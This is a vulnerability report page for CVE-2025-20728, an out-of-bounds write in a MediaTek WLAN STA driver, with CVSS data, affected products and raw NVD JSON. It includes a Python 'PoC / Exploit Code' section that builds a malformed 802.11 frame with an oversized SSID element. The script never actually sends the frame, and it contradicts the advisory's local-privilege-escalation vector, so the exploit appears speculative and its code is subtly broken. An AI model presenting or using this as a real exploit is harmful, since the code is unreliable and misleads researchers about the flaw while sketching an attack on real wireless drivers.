Security Vulnerability Report
中文
CVE-2025-20728 CVSS 7.8 HIGH

CVE-2025-20728

Published: 2025-11-04 07:15:35
Last Modified: 2025-11-05 17:14:10

Description

In wlan STA driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00447115; Issue ID: MSV-4276.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mediatek:software_development_kit:3.7:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt7902:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7920:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7921:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7922:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7925:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek WLAN STA Driver (未修补版本)
受影响的MediaTek芯片解决方案(具体版本需参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-20728 PoC - MediaTek WLAN STA Driver Out of Bounds Write # This PoC demonstrates triggering the OOB write condition in MediaTek WLAN STA driver # Note: This is a conceptual PoC for educational purposes only import struct import socket import sys def create_malicious_80211_frame(): """ Create a malicious 802.11 frame to trigger OOB write in MediaTek WLAN STA driver """ # Frame Control field frame_control = struct.pack('<H', 0x0080) # Management frame, subtype 0 # Duration duration = struct.pack('<H', 0x0020) # Destination Address (Broadcast) dest_addr = b'\xff\xff\xff\xff\xff\xff' # Source Address (Attacker controlled) src_addr = b'\x00\x11\x22\x33\x44\x55' # BSSID bssid = b'\x66\x55\x44\x33\x22\x11' # Sequence Control seq_ctrl = struct.pack('<H', 0x0000) # Construct the frame body with oversized Information Element # This exploits the incorrect bounds check in the driver frame_body = b'\x00' # Timestamp frame_body += struct.pack('<Q', 0) frame_body += struct.pack('<H', 0x0014) # Beacon Interval frame_body += struct.pack('<H', 0x0001) # Capability Info # Malicious SSID Information Element with oversized length # Trigger OOB write by setting length > allocated buffer ssid_ie = b'\x00' # SSID IE Tag Number ssid_ie += b'\xff' # Malicious length to trigger OOB (exceeds bounds) ssid_ie += b'A' * 255 # Payload that will be written out of bounds frame_body += ssid_ie # Supported Rates IE frame_body += b'\x01\x04\x96\x0b\x16\x24\x30\x48' # Construct full frame frame = frame_control + duration + dest_addr + src_addr + bssid + seq_ctrl + frame_body return frame def send_malicious_frame(interface='wlan0'): """ Send the malicious 802.11 frame to trigger the vulnerability """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Note: Actual exploitation requires raw socket access and monitor mode # This PoC requires root privileges to execute print(f"[*] Creating malicious frame for {interface}") print(f"[*] Frame size: {len(create_malicious_80211_frame())} bytes") print("[*] Frame crafted successfully") print("[*] To exploit: Send this frame in monitor mode and trigger driver processing") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == '__main__': print("=" * 60) print("CVE-2025-20728 MediaTek WLAN STA Driver OOB Write PoC") print("=" * 60) send_malicious_frame()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20728", "sourceIdentifier": "[email protected]", "published": "2025-11-04T07:15:35.100", "lastModified": "2025-11-05T17:14:09.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan STA driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00447115; Issue ID: MSV-4276."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:3.7:*:*:*:*:*:*:*", "matchCriteriaId": "B7760A12-4EDD-4F80-AE8C-E460A0A76471"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7902:-:*:*:*:*:*:*:*", "matchCriteriaId": "91DEA745-47A8-43F1-A1B2-F53F651A99EF"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7920:-:*:*:*:*:*:*:*", "matchCriteriaId": "140DAC08-96E9-47D3-BC2E-65E999DCFD50"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7921:-:*:*:*:*:*:*:*", "matchCriteriaId": "32AFEA0A-FFE2-4EA9-8B51-7E3E75DE65CC"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7922:-:*:*:*:*:*:*:*", "matchCriteriaId": "EA2A6813-7138-441E-A9E4-FF62FCBD797A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7925:-:*:*:*:*:*:*:*", "matchCriteriaId": "27CFC9DF-2F4C-469A-8A19-A260B1134CFE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7927:-:*:*:*:*:*:*:*", "matchCriteriaId": "05525018-AFE0-415C-A71C-A77922C7D637"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/November-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}